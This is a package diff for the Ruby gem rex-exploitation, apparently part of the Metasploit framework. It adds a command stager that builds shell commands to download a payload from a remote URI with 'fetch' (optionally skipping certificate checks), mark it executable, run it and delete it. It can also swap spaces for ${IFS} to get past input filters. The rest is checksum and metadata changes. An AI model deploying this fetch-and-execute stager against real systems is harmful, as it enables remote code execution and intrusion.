rex-exploitation 0.1.19 → 0.1.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/lib/rex/exploitation/cmdstager.rb +1 -0
- data/lib/rex/exploitation/cmdstager/fetch.rb +57 -0
- data/lib/rex/exploitation/version.rb +1 -1
- metadata +3 -2
- metadata.gz.sig +0 -0
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 0aaa3da8a46b9a3ca7b6e761115b5ff46d877e78
|
4
|
+
data.tar.gz: 8b71ba84e43d183fba7d8689b01c96c568166859
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 6a8d5911aad13135cb332e9296717e4db57edaac632f62ad01adfd9a9763c3e9601913efad0834c090eb5c0762cea2592e801b6474b35019204f946b10bd082f
|
7
|
+
data.tar.gz: a11621afbf26ca6850ac7efe9be95e4ed6db8d668f35c869b96bd658c64e78433e8026564f3707b5af50e71e06b94eaab55299c5c2cce18b8a248899e5eaadc8
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
data.tar.gz.sig
CHANGED
Binary file
|
@@ -0,0 +1,57 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
class Rex::Exploitation::CmdStagerFetch < Rex::Exploitation::CmdStagerBase
|
4
|
+
|
5
|
+
def http?
|
6
|
+
true
|
7
|
+
end
|
8
|
+
|
9
|
+
def user_agent
|
10
|
+
/^fetch/
|
11
|
+
end
|
12
|
+
|
13
|
+
def generate(opts = {})
|
14
|
+
if opts[:payload_uri].nil?
|
15
|
+
raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
|
16
|
+
end
|
17
|
+
|
18
|
+
opts[:temp] ||= '/tmp'
|
19
|
+
opts[:file] ||= Rex::Text.rand_text_alpha(8)
|
20
|
+
@payload_path = "#{opts[:temp]}/#{opts[:file]}"
|
21
|
+
|
22
|
+
super
|
23
|
+
end
|
24
|
+
|
25
|
+
def generate_cmds_payload(opts)
|
26
|
+
cmds = []
|
27
|
+
nvp = '--no-verify-peer'
|
28
|
+
|
29
|
+
if opts[:ssl]
|
30
|
+
cmds << "fetch -qo #{@payload_path} #{nvp} #{opts[:payload_uri]}"
|
31
|
+
else
|
32
|
+
cmds << "fetch -qo #{@payload_path} #{opts[:payload_uri]}"
|
33
|
+
end
|
34
|
+
|
35
|
+
cmds
|
36
|
+
end
|
37
|
+
|
38
|
+
def generate_cmds_decoder(opts)
|
39
|
+
cmds = []
|
40
|
+
|
41
|
+
cmds << "chmod +x #{@payload_path}"
|
42
|
+
cmds << @payload_path
|
43
|
+
cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
|
44
|
+
|
45
|
+
cmds
|
46
|
+
end
|
47
|
+
|
48
|
+
def compress_commands(cmds, opts)
|
49
|
+
cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
|
50
|
+
super
|
51
|
+
end
|
52
|
+
|
53
|
+
def cmd_concat_operator
|
54
|
+
';'
|
55
|
+
end
|
56
|
+
|
57
|
+
end
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-exploitation
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.20
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- David Maloney
|
@@ -88,7 +88,7 @@ cert_chain:
|
|
88
88
|
G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
|
89
89
|
8mVuTXnyJOKRJA==
|
90
90
|
-----END CERTIFICATE-----
|
91
|
-
date: 2018-
|
91
|
+
date: 2018-12-21 00:00:00.000000000 Z
|
92
92
|
dependencies:
|
93
93
|
- !ruby/object:Gem::Dependency
|
94
94
|
name: bundler
|
@@ -257,6 +257,7 @@ files:
|
|
257
257
|
- lib/rex/exploitation/cmdstager/debug_asm.rb
|
258
258
|
- lib/rex/exploitation/cmdstager/debug_write.rb
|
259
259
|
- lib/rex/exploitation/cmdstager/echo.rb
|
260
|
+
- lib/rex/exploitation/cmdstager/fetch.rb
|
260
261
|
- lib/rex/exploitation/cmdstager/printf.rb
|
261
262
|
- lib/rex/exploitation/cmdstager/tftp.rb
|
262
263
|
- lib/rex/exploitation/cmdstager/vbs.rb
|
metadata.gz.sig
CHANGED
Binary file
|